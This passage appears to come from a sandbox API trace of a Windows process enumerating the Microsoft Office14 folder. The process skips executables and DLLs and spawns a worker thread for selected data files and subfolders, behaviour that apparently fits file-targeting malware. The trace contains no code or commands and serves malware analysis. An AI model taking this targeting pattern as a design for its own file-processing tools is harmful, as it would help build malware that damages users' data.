ftLastAccessTime.dwLowDateTime=0x5812f0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4183ed00, ftLastWriteTime.dwHighDateTime=0x1cac269, nFileSizeHigh=0x0, nFileSizeLow=0x1b780, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCSSync.exe", cAlternateFileName="")) returned 1 [0049.086] wcscmp (_String1="BCSSync.exe", _String2=".") returned 1 [0049.086] wcscmp (_String1="BCSSync.exe", _String2="..") returned 1 [0049.086] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x65ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadata.xsd", cAlternateFileName="BDCMET~2.XSD")) returned 1 [0049.086] wcscmp (_String1="bdcmetadata.xsd", _String2=".") returned 1 [0049.086] wcscmp (_String1="bdcmetadata.xsd", _String2="..") returned 1 [0049.086] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400518 [0049.086] wcscpy (in: _Dest=0x400518, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.086] wcscat (in: _Dest=0x400518, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.086] wcscat (in: _Dest=0x400518, _Source="bdcmetadata.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadata.xsd" [0049.086] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0049.087] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457bf900, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x457bf900, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x3321, dwReserved0=0x0, dwReserved1=0x0, cFileName="bdcmetadataresource.xsd", cAlternateFileName="BDCMET~1.XSD")) returned 1 [0049.087] wcscmp (_String1="bdcmetadataresource.xsd", _String2=".") returned 1 [0049.087] wcscmp (_String1="bdcmetadataresource.xsd", _String2="..") returned 1 [0049.087] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x417110 [0049.088] wcscpy (in: _Dest=0x417110, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.088] wcscat (in: _Dest=0x417110, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.088] wcscat (in: _Dest=0x417110, _Source="bdcmetadataresource.xsd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd") returned="C:\\Program Files\\Microsoft Office\\Office14\\bdcmetadataresource.xsd" [0049.088] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x417110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0049.089] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f409670, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0049.089] wcscmp (_String1="Bibliography", _String2=".") returned 1 [0049.089] wcscmp (_String1="Bibliography", _String2="..") returned 1 [0049.089] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4ef018 [0049.089] wcscpy (in: _Dest=0x4ef018, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.089] wcscat (in: _Dest=0x4ef018, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.089] wcscat (in: _Dest=0x4ef018, _Source="Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography" [0049.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0049.090] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1 [0049.090] wcscmp (_String1="BORDERS", _String2=".") returned 1 [0049.090] wcscmp (_String1="BORDERS", _String2="..") returned 1 [0049.090] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421b98 [0049.090] wcscpy (in: _Dest=0x421b98, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.091] wcscat (in: _Dest=0x421b98, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.091] wcscat (in: _Dest=0x421b98, _Source="BORDERS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS") returned="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS" [0049.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0049.092] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0049.092] wcscmp (_String1="BRTVIEW.DLL", _String2=".") returned 1 [0049.092] wcscmp (_String1="BRTVIEW.DLL", _String2="..") returned 1 [0049.092] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0049.092] wcscmp (_String1="BSTORM.DLL", _String2=".") returned 1 [0049.092] wcscmp (_String1="BSTORM.DLL", _String2="..") returned 1 [0049.092] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0049.092] wcscmp (_String1="CDLMSO.DLL", _String2=".") returned 1 [0049.092] wcscmp (_String1="CDLMSO.DLL", _String2="..") returned 1 [0049.092] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0049.092] wcscmp (_String1="CGMIMP32.HLP", _String2=".") returned 1 [0049.092] wcscmp (_String1="CGMIMP32.HLP", _String2="..") returned 1 [0049.092] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="CHARSE~1.CHR")) returned 1 [0049.092] wcscmp (_String1="CharSetTable.chr", _String2=".") returned 1 [0049.092] wcscmp (_String1="CharSetTable.chr", _String2="..") returned 1 [0049.092] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x400718 [0049.092] wcscpy (in: _Dest=0x400718, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.092] wcscat (in: _Dest=0x400718, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.092] wcscat (in: _Dest=0x400718, _Source="CharSetTable.chr" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" [0049.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x400718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CLVIEW.EXE", _String2=".") returned 1 [0049.094] wcscmp (_String1="CLVIEW.EXE", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CMAX20.DLL", _String2=".") returned 1 [0049.094] wcscmp (_String1="CMAX20.DLL", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CNFNOT32.EXE", _String2=".") returned 1 [0049.094] wcscmp (_String1="CNFNOT32.EXE", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CODEEDIT.DLL", _String2=".") returned 1 [0049.094] wcscmp (_String1="CODEEDIT.DLL", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CONTAB32.DLL", _String2=".") returned 1 [0049.094] wcscmp (_String1="CONTAB32.DLL", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0049.094] wcscmp (_String1="ContactPicker.dll", _String2=".") returned 1 [0049.094] wcscmp (_String1="ContactPicker.dll", _String2="..") returned 1 [0049.094] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0049.094] wcscmp (_String1="CONVERT", _String2=".") returned 1 [0049.094] wcscmp (_String1="CONVERT", _String2="..") returned 1 [0049.094] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x5e46878 [0049.094] wcscpy (in: _Dest=0x5e46878, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.094] wcscat (in: _Dest=0x5e46878, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.094] wcscat (in: _Dest=0x5e46878, _Source="CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0049.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e46878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0049.095] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0049.095] wcscmp (_String1="CSS7DATA0009.DLL", _String2=".") returned 1 [0049.095] wcscmp (_String1="CSS7DATA0009.DLL", _String2="..") returned 1 [0049.096] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0049.096] wcscmp (_String1="CSS7DATA000A.DLL", _String2=".") returned 1 [0049.096] wcscmp (_String1="CSS7DATA000A.DLL", _String2="..") returned 1 [0049.096] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0049.096] wcscmp (_String1="CSS7DATA000C.DLL", _String2=".") returned 1 [0049.096] wcscmp (_String1="CSS7DATA000C.DLL", _String2="..") returned 1 [0049.096] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0049.096] wcscmp (_String1="Custom.propdesc", _String2=".") returned 1 [0049.096] wcscmp (_String1="Custom.propdesc", _String2="..") returned 1 [0049.096] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e5b8 [0049.096] wcscpy (in: _Dest=0x45e5b8, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.096] wcscat (in: _Dest=0x45e5b8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.096] wcscat (in: _Dest=0x45e5b8, _Source="Custom.propdesc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" [0049.096] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x45e5b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8cc [0049.097] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0049.097] wcscmp (_String1="DATAGATH.DLL", _String2=".") returned 1 [0049.097] wcscmp (_String1="DATAGATH.DLL", _String2="..") returned 1 [0049.097] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0049.097] wcscmp (_String1="DBENGR.DLL", _String2=".") returned 1 [0049.097] wcscmp (_String1="DBENGR.DLL", _String2="..") returned 1 [0049.097] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0049.097] wcscmp (_String1="DBGHELP.DLL", _String2=".") returned 1 [0049.097] wcscmp (_String1="DBGHELP.DLL", _String2="..") returned 1 [0049.097] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0049.097] wcscmp (_String1="DBSHARE.DLL", _String2=".") returned 1 [0049.097] wcscmp (_String1="DBSHARE.DLL", _String2="..") returned 1 [0049.097] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0049.098] wcscmp (_String1="DBWIZ.DLL", _String2=".") returned 1 [0049.098] wcscmp (_String1="DBWIZ.DLL", _String2="..") returned 1 [0049.098] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0049.098] wcscmp (_String1="DGRMLNCH.DLL", _String2=".") returned 1 [0049.098] wcscmp (_String1="DGRMLNCH.DLL", _String2="..") returned 1 [0049.098] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0049.098] wcscmp (_String1="DLGSETP.DLL", _String2=".") returned 1 [0049.098] wcscmp (_String1="DLGSETP.DLL", _String2="..") returned 1 [0049.098] FindNextFileW (in: hFindFile=0x409ae8, lpFindFileData=0x452d40 | out: lpFindFileData=0x452d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0049.098] wcscmp (_String1="Document Parts", _String2=".") returned 1 [0049.098] wcscmp (_String1="Document Parts", _String2="..") returned 1 [0049.098] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x74) returned 0x45e638 [0049.098] wcscpy (in: _Dest=0x45e638, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0049.098] wcscat (in: _Dest=0x45e638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0049.098] wcscat (in: _Dest=0x45e638, _Source="Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") 